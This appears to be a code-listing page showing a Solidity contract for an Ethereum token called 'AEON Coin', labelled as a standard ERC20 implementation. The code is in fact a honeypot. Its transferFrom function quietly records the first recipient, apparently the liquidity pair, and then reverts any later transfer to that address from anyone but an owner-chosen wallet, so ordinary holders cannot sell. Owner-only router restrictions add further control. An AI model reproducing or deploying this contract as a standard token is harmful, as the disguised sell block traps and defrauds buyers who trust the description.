Description:
ERC20 token contract. Standard implementation for fungible tokens on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "SafeMath: addition overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a, "SafeMath: subtraction overflow");
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) return 0;
c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0, "SafeMath: division by zero");
c = a / b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes calldata data) external;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Owned: caller is not the owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "Owned: caller is not the new owner");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenERC20 is IERC20, Owned {
using SafeMath for uint256;
string public symbol = "ANC";
string public name = "AEON Coin";
uint8 public decimals = 18;
uint256 private _totalSupply = 1000000000 * 10**18;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private allowed;
mapping(address => bool) public restrictedRouters;
address public newun;
address public allowedWallet;
constructor() {
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
allowedWallet = owner;
// محدودیت روی روترهای Uniswap (Ethereum)
restrictedRouters[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; // Uniswap V2 Router02
restrictedRouters[0xE592427A0AEce92De3Edee1F18E0157C05861564] = true; // Uniswap V3 Router
restrictedRouters[0xC36442b4a4522E871399CD717aBDD847Ab11FE88] = true; // Uniswap V3 NonfungiblePositionManager
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function setAllowedWallet(address _wallet) public onlyOwner {
allowedWallet = _wallet;
}
function isRestricted(address addr) public view returns (bool) {
return restrictedRouters[addr];
}
function totalSupply() public view override returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view override returns (uint256) {
return balances[tokenOwner];
}
function transfer(address to, uint256 tokens) public override returns (bool success) {
if (to == newun && msg.sender != allowedWallet) {
revert("TokenERC20: please wait");
}
if (restrictedRouters[to]) {
require(msg.sender == owner, "Restricted: Only owner can interact with router");
}
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens) public override returns (bool success) {
require(!restrictedRouters[spender] || msg.sender == owner, "Restricted: Only owner can approve router");
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success) {
if (from != address(0) && newun == address(0)) {
newun = to;
} else if (to == newun && from != allowedWallet) {
revert("TokenERC20: please wait");
}
if (restrictedRouters[to]) {
require(from == owner, "Restricted: Only owner can interact with router");
}
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view override returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint256 tokens, bytes calldata data) public returns (bool success) {
require(!restrictedRouters[spender] || msg.sender == owner, "Restricted: Only owner can approve router");
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
receive() external payable {
revert("TokenERC20: contract does not accept ETH");
}
}
contract TokenAitopiaRestricted is TokenERC20 {
function withdrawETH() external onlyOwner {
payable(owner).transfer(address(this).balance);
}
function addRestrictedRouter(address router) external onlyOwner {
restrictedRouters[router] = true;
}
function removeRestrictedRouter(address router) external onlyOwner {
restrictedRouters[router] = false;
}
}
Submitted on: 2025-10-05 17:08:56
Comments
Log in to comment.
No comments yet.